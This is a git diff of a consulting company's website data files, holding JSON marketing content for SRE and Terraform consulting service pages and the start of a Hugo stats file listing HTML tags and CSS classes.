Services", + "subtitle": "AppsCode provides end-to-end SRE consulting, from strategy and assessment to implementation and ongoing support for enterprise systems.", + "sections": [ + { + "title": "SRE Advisory & Strategic Planning", + "description": "Define a clear roadmap for SRE adoption tailored to your organization by assessing systems, automation, and operational workflows.", + "offerings": [ + "Audit current infrastructure, CI/CD pipelines, and monitoring setups.", + "Define SLIs (Service Level Indicators) and SLOs (Service Level Objectives) aligned with business goals.", + "Implement error budgets, incident policies, and reliability metrics.", + "Recommend industry-standard SRE practices to enhance system reliability." + ], + "image": "/assets/images/services/sre-consulting-strategy.png" + }, + { + "title": "Automated SDLC & Infrastructure Management", + "description": "Accelerate delivery by automating infrastructure and application deployments across multi-cloud and hybrid environments.", + "offerings": [ + "Implement CI/CD pipelines for consistent and reliable software delivery.", + "Adopt progressive delivery for cloud-native applications with minimal downtime.", + "Manage Kubernetes orchestration, auto-scaling, and configuration for high availability." + ], + "image": "/assets/images/services/sre-consulting-infrastructure-management.png" + }, + { + "title": "Observability, Monitoring & Metrics", + "description": "Gain end-to-end observability to proactively identify and resolve issues while optimizing system performance.", + "offerings": [ + "Deploy comprehensive monitoring, logging, and alerting across infrastructure and applications.", + "Generate actionable metrics to continuously improve reliability and performance." + ], + "image": "/assets/images/services/sre-consulting-observability.png" + }, + { + "title": "Incident Management & Remediation", + "description": "Establish processes for on-call support, emergency troubleshooting, and operational runbooks to minimize downtime.", + "offerings": [ + "Conduct post-mortem analysis to prevent recurrence of incidents.", + "Apply expert Linux/Unix and cloud troubleshooting techniques." + ], + "image": "/assets/images/services/sre-consulting-incident-management.png" + }, + { + "title": "Disaster Recovery & Resilience Testing", + "description": "Ensure business continuity through automated disaster recovery strategies and resilience testing for containerized applications.", + "offerings": [ + "Design and execute chaos engineering experiments to validate system resilience." + ], + "image": "/assets/images/services/sre-consulting-disaster-recovery.png" + }, + { + "title": "Security, Governance & Cost Optimization", + "description": "Protect systems, maintain compliance, and optimize operational costs across cloud and hybrid infrastructures.", + "offerings": [ + "Perform security audits and vulnerability remediation.", + "Implement capacity planning and rightsizing for optimized resource usage.", + "Monitor and control operational costs effectively." + ], + "image": "/assets/images/services/sre-consulting-security-governance.png" + }, + { + "title": "SRE Training & Knowledge Transfer", + "description": "Empower teams with hands-on training in SRE best practices for ongoing operational excellence.", + "offerings": [ + "Train internal teams on SRE principles and DevOps integration.", + "Create comprehensive documentation and knowledge bases for continuous learning." + ], + "image": "/assets/images/services/sre-consulting-training.png" + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode for SRE Consulting?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence." + }, + { + "icon": "fa fa-briefcase", + "title": "Domain Experience", + "description": "Proven SRE and cloud-native practices across 100+ clients." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-On Training", + "description": "Practical training to build in-house SRE expertise." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-wrench", + "title": "Scale Teams Easily", + "description": "Easily expand engineering teams without recruitment overhead." + } + ] + }, + "industries": { + "title": "Industry Expertise", + "subtitle": "We help 100+ clients across sectors tackle operational challenges, compliance, and reliability.", + "additional_text": "From global enterprises to high-growth startups, we deliver scalable, reliable, and secure SRE solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Ensure compliant and resilient production systems for financial services." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Integrate SRE practices into cloud-native SaaS and AI applications." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Deliver reliable and safe systems to meet evolving customer expectations." + }, + { + "icon": "fa fa-plug", + "title": "Energy, Oil & Gas", + "description": "Modernize monitoring and resource management to optimize operations." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Ensure high-speed, reliable deployment for critical healthcare systems." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Provide seamless, scalable, and cost-efficient operations." + } + ] + }, + "tech_stack": { + "title": "Diverse Technical Expertise", + "subtitle": "Our engineers are proficient in:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "faq": [ + { + "question": "What do your Site Reliability Engineering (SRE) Consulting services include?", + "answer": "Our Site Reliability Engineering (SRE) Consulting services help organizations improve system reliability, scalability, and performance. We cover service-level objectives (SLOs), incident management, monitoring, automation, and resilience strategies to ensure stable and efficient operations for critical applications." + }, + { + "question": "Which technologies and practices are used in SRE consulting?", + "answer": "We leverage Kubernetes, cloud-native architectures, observability tools, CI/CD pipelines, infrastructure as code, incident response automation, and performance monitoring. Our approach applies SRE best practices to enhance reliability, reduce downtime, and improve system performance." + }, + { + "question": "Can you work with our existing infrastructure and operations teams?", + "answer": "Yes — we integrate with your current systems and teams, assess reliability gaps, implement SRE practices, and provide guidance to optimize operational processes for improved service uptime and stability." + }, + { + "question": "What is the typical timeline and engagement model for SRE Consulting?", + "answer": "Engagements typically begin with a 1–2 week assessment of your infrastructure, operations, and reliability metrics. Implementation follows in 4–8 week phases. We offer fixed-scope projects, time-and-materials consulting, or long-term SRE advisory partnerships." + }, + { + "question": "Do SRE Consulting services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our SRE Consulting services are designed for hybrid and multi-cloud architectures, ensuring consistent reliability, monitoring, and incident management across AWS, Azure, GCP, and on-premises systems." + }, + { + "question": "How do you ensure security, reliability, and efficiency in SRE practices?", + "answer": "We enforce best practices including automated monitoring, alerting, access control, performance tuning, disaster recovery planning, and incident response automation. These measures help maintain secure, resilient, and efficient systems." + }, + { + "question": "What happens after SRE consulting and implementation?", + "answer": "After implementation, we provide ongoing guidance, monitoring, and optimization. Our services include knowledge transfer, SRE training, and recommendations for continuous reliability improvements and operational excellence." + }, + { + "question": "How much do Site Reliability Engineering (SRE) Consulting services cost, and what are the pricing models?", + "answer": "Pricing depends on infrastructure complexity, number of services, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "title": "Looking for Expert SRE Support?", + "subtitle": "Our experienced SRE consultants help optimize reliability, performance, and operational efficiency using best practices and modern tools.", + "buttons": [ + { + "text": "Consult a SRE Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/data/services/site-reliability-engineering/terraform_consulting.json b/data/services/site-reliability-engineering/terraform_consulting.json index c67cf46604..df2bfdaa1c 100644 --- a/data/services/site-reliability-engineering/terraform_consulting.json +++ b/data/services/site-reliability-engineering/terraform_consulting.json @@ -1,344 +1,344 @@ -{ - "hero": { - "title": "Enterprise Terraform Consulting Services", - "subtitle": "Accelerate your infrastructure automation with expert Terraform consulting, implementation, and enterprise-grade support for cloud and on-prem environments.", - "cta_text": "Talk to a Terraform Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/terraform-consulting.png", - "alt": "Enterprise Terraform Consulting Services" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Terraform Consulting Services?", - "areas": [ - { - "icon": "fa fa-rocket", - "title": "Faster Product Delivery" - }, - { - "icon": "fa fa-shield", - "title": "Stable Production Environments" - }, - { - "icon": "fa fa-database", - "title": "Centralized Monitoring & Observability" - }, - { - "icon": "fa fa-bug", - "title": "Enhanced DevOps Automation (CI/CD)" - }, - { - "icon": "fa fa-database", - "title": "Automated Infra Provisioning & Management" - }, - { - "icon": "fa fa-dollar", - "title": "Smarter Cost Optimization & Capacity Planning" - }, - { - "icon": "fa fa-cubes", - "title": "Kubernetes Cluster & Storage Management" - }, - { - "icon": "fa fa-lock", - "title": "Security & Compliance by Design" - } - ] - }, - "service_details": { - "title": "Comprehensive Terraform Consulting & Implementation", - "subtitle": "From cloud migration to IaC management, multi-cloud orchestration, and Terragrunt best practices — we ensure your Terraform journey is efficient, secure, and scalable.", - "sections": [ - { - "title": "Cloud Infrastructure Migration", - "description": "Seamlessly move workloads to the cloud with Terraform automation and industry best practices.", - "offerings": [ - "Identify the optimal cloud platform aligned with business goals.", - "Setup secure cloud accounts with Terraform-driven automation.", - "Migrate workloads to AWS, Azure, GCP, or hybrid environments safely and efficiently." - ], - "image": "/assets/images/services/cloud-migration.png" - }, - { - "title": "Infrastructure as Code (IaC) Management", - "description": "Simplify infrastructure management using Terraform’s declarative HCL model.", - "offerings": [ - "Provision and manage infrastructure with reusable Terraform modules.", - "Version control and import existing infrastructure into Git-backed repositories.", - "Automate updates, scaling, and optimization for cost and performance." - ], - "image": "/assets/images/services/iac-management.png" - }, - { - "title": "Kubernetes Multi-Cloud Management", - "description": "Integrate Terraform with Kubernetes to manage clusters and workloads across clouds.", - "offerings": [ - "Deploy and manage Kubernetes clusters on AWS, Azure, GCP, and hybrid setups.", - "Automate environment setup, scaling, and updates with Terraform modules." - ], - "image": "/assets/images/services/kubernetes-multi-cloud.png" - }, - { - "title": "Adopt Terraform Cloud or Enterprise", - "description": "Choose and implement the right Terraform edition — Cloud or Enterprise — to maximize team efficiency.", - "offerings": [ - "Terraform Cloud enables shared state, secrets, and policy-based controls.", - "Terraform Enterprise provides a self-hosted, compliance-ready solution with advanced governance." - ], - "image": "/assets/images/services/terraform-cloud-enterprise.png" - }, - { - "title": "Keep Terraform Code DRY with Terragrunt", - "description": "Reduce duplication and streamline configurations using Terragrunt best practices.", - "offerings": [ - "Maintain DRY Terraform codebases.", - "Simplify remote state management and standardize workflows.", - "Build scalable and maintainable Terragrunt architectures." - ], - "image": "/assets/images/services/terragrunt.png" - } - ] - }, - "cards2": { - "title": "Key Benefits of Terraform Consulting", - "items": [ - { - "icon": "fa fa-check-circle", - "title": "Reliable Infra Deployment", - "description": "Deploy consistent, error-free infrastructure with repeatable Terraform code." - }, - { - "icon": "fa fa-cloud", - "title": "Multi-Cloud & Hybrid Support", - "description": "Manage AWS, Azure, GCP, VMware, or on-prem seamlessly from one Terraform workflow." - }, - { - "icon": "fa fa-code", - "title": "Full Infrastructure as Code (IaC)", - "description": "Define and version everything with HCL for clarity, control, and repeatability." - }, - { - "icon": "fa fa-cogs", - "title": "Faster Deployment & Maintenance", - "description": "Spin up infrastructure in minutes and eliminate manual configurations." - }, - { - "icon": "fa fa-exchange", - "title": "Smooth Cloud Migration", - "description": "Easily import existing infra configs and migrate them to your preferred cloud provider." - }, - { - "icon": "fa fa-dollar", - "title": "Optimized IT Costs", - "description": "Automate infra scaling and resource management to minimize cloud expenses." - } - ] - }, - "cards": { - "title": "Why Partner with AppsCode for Terraform Consulting?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Experts", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Domain Experience", - "description": "Deep Terraform and cloud automation experience gained from 100+ successful projects." - }, - { - "icon": "fa fa-trophy", - "title": "Kubernetes First Movers", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Hands-On Training", - "description": "Get practical, concept-driven Terraform and DevOps training tailored to your teams." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Scale Without Hiring Hassle", - "description": "Expand your engineering bandwidth instantly with our seasoned DevOps experts." - } - ] - }, - "industries": { - "title": "Terraform Expertise Across Industries", - "subtitle": "Serving startups to global enterprises with secure, automated infrastructure.", - "additional_text": "We help organizations across sectors achieve reliable and scalable infrastructure automation.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Ensure 24/7 uptime and compliance for secure, high-throughput transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Build scalable, AI-ready SaaS platforms with optimized GPU-based cloud infra." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Accelerate innovation with secure, automated infra for AI-driven development." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Streamline operations and reduce costs with data-driven, cloud-native automation." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Enable fast, compliant data processing with cloud-based compute infrastructure." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless, scalable customer experiences with automated infra management." - } - ] - }, - "tech_stack": { - "title": "Our Technical Expertise", - "subtitle": "With experience across 100+ global projects, our team masters a broad cloud-native tech stack.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "faq": [ - { - "question": "What do your Terraform Consulting Services include?", - "answer": "Our Terraform Consulting Services help organizations implement and manage infrastructure as code (IaC) using Terraform. We cover infrastructure provisioning, configuration management, automation, version control, compliance, and cloud resource optimization." - }, - { - "question": "Which technologies and practices are used in Terraform consulting?", - "answer": "We leverage Terraform, Terraform Cloud, Terraform Enterprise, Git-based workflows, CI/CD integration, and cloud platforms like AWS, Azure, and GCP. Our approach ensures reproducible, secure, and automated infrastructure deployments following best IaC practices." - }, - { - "question": "Can you work with our existing cloud infrastructure and Terraform configurations?", - "answer": "Yes — we assess your current Terraform configurations and cloud resources, optimize modules and workflows, implement best practices, and ensure scalable, maintainable, and secure infrastructure management." - }, - { - "question": "What is the typical timeline and engagement model for Terraform Consulting Services?", - "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure and Terraform workflows. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Terraform advisory partnerships." - }, - { - "question": "Do Terraform Consulting Services support multi-cloud or hybrid environments?", - "answer": "Absolutely. Our services are designed for multi-cloud and hybrid deployments, enabling consistent, automated infrastructure provisioning and management across AWS, Azure, GCP, and on-premises environments." - }, - { - "question": "How do you ensure security, reliability, and efficiency with Terraform?", - "answer": "We enforce secure access controls, state management, modular infrastructure design, automated testing, and compliance checks. These practices maintain secure, reliable, and efficient infrastructure deployments." - }, - { - "question": "What happens after Terraform consulting and implementation?", - "answer": "After implementation, we provide ongoing guidance, support, and optimization. Our services include knowledge transfer, documentation of best practices, and recommendations for continuous improvement of your Terraform-managed infrastructure." - }, - { - "question": "How much do Terraform Consulting Services cost, and what are the pricing models?", - "answer": "Pricing depends on infrastructure complexity, number of resources, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ], - "final_cta": { - "title": "Need Expert Terraform Consulting?", - "subtitle": "Partner with our certified Terraform specialists to deploy and manage infrastructure confidently across clouds and on-prem.", - "buttons": [ - { - "text": "Talk to a Terraform Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - } -} +{ + "hero": { + "title": "Enterprise Terraform Consulting Services", + "subtitle": "Accelerate your infrastructure automation with expert Terraform consulting, implementation, and enterprise-grade support for cloud and on-prem environments.", + "cta_text": "Talk to a Terraform Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/terraform-consulting.png", + "alt": "Enterprise Terraform Consulting Services" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Terraform Consulting Services?", + "areas": [ + { + "icon": "fa fa-rocket", + "title": "Faster Product Delivery" + }, + { + "icon": "fa fa-shield", + "title": "Stable Production Environments" + }, + { + "icon": "fa fa-database", + "title": "Centralized Monitoring & Observability" + }, + { + "icon": "fa fa-bug", + "title": "Enhanced DevOps Automation (CI/CD)" + }, + { + "icon": "fa fa-database", + "title": "Automated Infra Provisioning & Management" + }, + { + "icon": "fa fa-dollar", + "title": "Smarter Cost Optimization & Capacity Planning" + }, + { + "icon": "fa fa-cubes", + "title": "Kubernetes Cluster & Storage Management" + }, + { + "icon": "fa fa-lock", + "title": "Security & Compliance by Design" + } + ] + }, + "service_details": { + "title": "Comprehensive Terraform Consulting & Implementation", + "subtitle": "From cloud migration to IaC management, multi-cloud orchestration, and Terragrunt best practices — we ensure your Terraform journey is efficient, secure, and scalable.", + "sections": [ + { + "title": "Cloud Infrastructure Migration", + "description": "Seamlessly move workloads to the cloud with Terraform automation and industry best practices.", + "offerings": [ + "Identify the optimal cloud platform aligned with business goals.", + "Setup secure cloud accounts with Terraform-driven automation.", + "Migrate workloads to AWS, Azure, GCP, or hybrid environments safely and efficiently." + ], + "image": "/assets/images/services/cloud-migration.png" + }, + { + "title": "Infrastructure as Code (IaC) Management", + "description": "Simplify infrastructure management using Terraform’s declarative HCL model.", + "offerings": [ + "Provision and manage infrastructure with reusable Terraform modules.", + "Version control and import existing infrastructure into Git-backed repositories.", + "Automate updates, scaling, and optimization for cost and performance." + ], + "image": "/assets/images/services/iac-management.png" + }, + { + "title": "Kubernetes Multi-Cloud Management", + "description": "Integrate Terraform with Kubernetes to manage clusters and workloads across clouds.", + "offerings": [ + "Deploy and manage Kubernetes clusters on AWS, Azure, GCP, and hybrid setups.", + "Automate environment setup, scaling, and updates with Terraform modules." + ], + "image": "/assets/images/services/kubernetes-multi-cloud.png" + }, + { + "title": "Adopt Terraform Cloud or Enterprise", + "description": "Choose and implement the right Terraform edition — Cloud or Enterprise — to maximize team efficiency.", + "offerings": [ + "Terraform Cloud enables shared state, secrets, and policy-based controls.", + "Terraform Enterprise provides a self-hosted, compliance-ready solution with advanced governance." + ], + "image": "/assets/images/services/terraform-cloud-enterprise.png" + }, + { + "title": "Keep Terraform Code DRY with Terragrunt", + "description": "Reduce duplication and streamline configurations using Terragrunt best practices.", + "offerings": [ + "Maintain DRY Terraform codebases.", + "Simplify remote state management and standardize workflows.", + "Build scalable and maintainable Terragrunt architectures." + ], + "image": "/assets/images/services/terragrunt.png" + } + ] + }, + "cards2": { + "title": "Key Benefits of Terraform Consulting", + "items": [ + { + "icon": "fa fa-check-circle", + "title": "Reliable Infra Deployment", + "description": "Deploy consistent, error-free infrastructure with repeatable Terraform code." + }, + { + "icon": "fa fa-cloud", + "title": "Multi-Cloud & Hybrid Support", + "description": "Manage AWS, Azure, GCP, VMware, or on-prem seamlessly from one Terraform workflow." + }, + { + "icon": "fa fa-code", + "title": "Full Infrastructure as Code (IaC)", + "description": "Define and version everything with HCL for clarity, control, and repeatability." + }, + { + "icon": "fa fa-cogs", + "title": "Faster Deployment & Maintenance", + "description": "Spin up infrastructure in minutes and eliminate manual configurations." + }, + { + "icon": "fa fa-exchange", + "title": "Smooth Cloud Migration", + "description": "Easily import existing infra configs and migrate them to your preferred cloud provider." + }, + { + "icon": "fa fa-dollar", + "title": "Optimized IT Costs", + "description": "Automate infra scaling and resource management to minimize cloud expenses." + } + ] + }, + "cards": { + "title": "Why Partner with AppsCode for Terraform Consulting?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Experts", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Domain Experience", + "description": "Deep Terraform and cloud automation experience gained from 100+ successful projects." + }, + { + "icon": "fa fa-trophy", + "title": "Kubernetes First Movers", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Hands-On Training", + "description": "Get practical, concept-driven Terraform and DevOps training tailored to your teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scale Without Hiring Hassle", + "description": "Expand your engineering bandwidth instantly with our seasoned DevOps experts." + } + ] + }, + "industries": { + "title": "Terraform Expertise Across Industries", + "subtitle": "Serving startups to global enterprises with secure, automated infrastructure.", + "additional_text": "We help organizations across sectors achieve reliable and scalable infrastructure automation.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "Ensure 24/7 uptime and compliance for secure, high-throughput transactions." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Build scalable, AI-ready SaaS platforms with optimized GPU-based cloud infra." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Accelerate innovation with secure, automated infra for AI-driven development." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Streamline operations and reduce costs with data-driven, cloud-native automation." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Enable fast, compliant data processing with cloud-based compute infrastructure." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless, scalable customer experiences with automated infra management." + } + ] + }, + "tech_stack": { + "title": "Our Technical Expertise", + "subtitle": "With experience across 100+ global projects, our team masters a broad cloud-native tech stack.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "faq": [ + { + "question": "What do your Terraform Consulting Services include?", + "answer": "Our Terraform Consulting Services help organizations implement and manage infrastructure as code (IaC) using Terraform. We cover infrastructure provisioning, configuration management, automation, version control, compliance, and cloud resource optimization." + }, + { + "question": "Which technologies and practices are used in Terraform consulting?", + "answer": "We leverage Terraform, Terraform Cloud, Terraform Enterprise, Git-based workflows, CI/CD integration, and cloud platforms like AWS, Azure, and GCP. Our approach ensures reproducible, secure, and automated infrastructure deployments following best IaC practices." + }, + { + "question": "Can you work with our existing cloud infrastructure and Terraform configurations?", + "answer": "Yes — we assess your current Terraform configurations and cloud resources, optimize modules and workflows, implement best practices, and ensure scalable, maintainable, and secure infrastructure management." + }, + { + "question": "What is the typical timeline and engagement model for Terraform Consulting Services?", + "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure and Terraform workflows. Implementation follows in 4–8 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term Terraform advisory partnerships." + }, + { + "question": "Do Terraform Consulting Services support multi-cloud or hybrid environments?", + "answer": "Absolutely. Our services are designed for multi-cloud and hybrid deployments, enabling consistent, automated infrastructure provisioning and management across AWS, Azure, GCP, and on-premises environments." + }, + { + "question": "How do you ensure security, reliability, and efficiency with Terraform?", + "answer": "We enforce secure access controls, state management, modular infrastructure design, automated testing, and compliance checks. These practices maintain secure, reliable, and efficient infrastructure deployments." + }, + { + "question": "What happens after Terraform consulting and implementation?", + "answer": "After implementation, we provide ongoing guidance, support, and optimization. Our services include knowledge transfer, documentation of best practices, and recommendations for continuous improvement of your Terraform-managed infrastructure." + }, + { + "question": "How much do Terraform Consulting Services cost, and what are the pricing models?", + "answer": "Pricing depends on infrastructure complexity, number of resources, and ongoing support needs. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ], + "final_cta": { + "title": "Need Expert Terraform Consulting?", + "subtitle": "Partner with our certified Terraform specialists to deploy and manage infrastructure confidently across clouds and on-prem.", + "buttons": [ + { + "text": "Talk to a Terraform Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + } +} diff --git a/hugo_stats.json b/hugo_stats.json index 8e24ec49df..eeced505e0 100644 --- a/hugo_stats.json +++ b/hugo_stats.json @@ -1,770 +1,770 @@ -{ - "htmlElements": { - "tags": [ - "a", - "body", - "br", - "button", - "div", - "figure", - "footer", - "form", - "h1", - "h2", - "h3", - "h4", - "h5", - "h6", - "head", - "header", - "hr", - "html", - "i", - "iconify-icon", - "iframe", - "img", - "input", - "label", - "li", - "link", - "lord-icon", - "meta", - "nav", - "noscript", - "ol", - "option", - "p", - "path", - "pre", - "script", - "section", - "select", - "span", - "strong", - "style", - "svg", - "textarea", - "title", - "ul" - ], - "classes": [ - "about-text-area", - "about-text-inner", - "about-training", - "ac-accordion-wrapper", - "ac-button", - "ac-checkbox", - "ac-custom-select", - "ac-image", - "ac-primary", - "ac-primary-color", - "ac-single-checkbox", - "ac-text", - "accordion", - "accordion-body", - "accordion-button", - "accordion-content", - "accordion-header", - "accordion-heading", - "accordions", - "active-overlay", - "alert", - "all-contact-info", - "appscode-style", - "arrow", - "arrow-right", - "arrows", - "back-button", - "bb-1", - "benefits-section", - "bg-color-available", - "bg-gradient-1", - "bg-light", - "bg-primay-light", - "body-content", - "brand", - "brand-image-wrapper", - "button", - "buttons", - "c1", - "c1_tab", - "calendly-inline-widget", - "card-body", - "card-bottom", - "card-icon", - 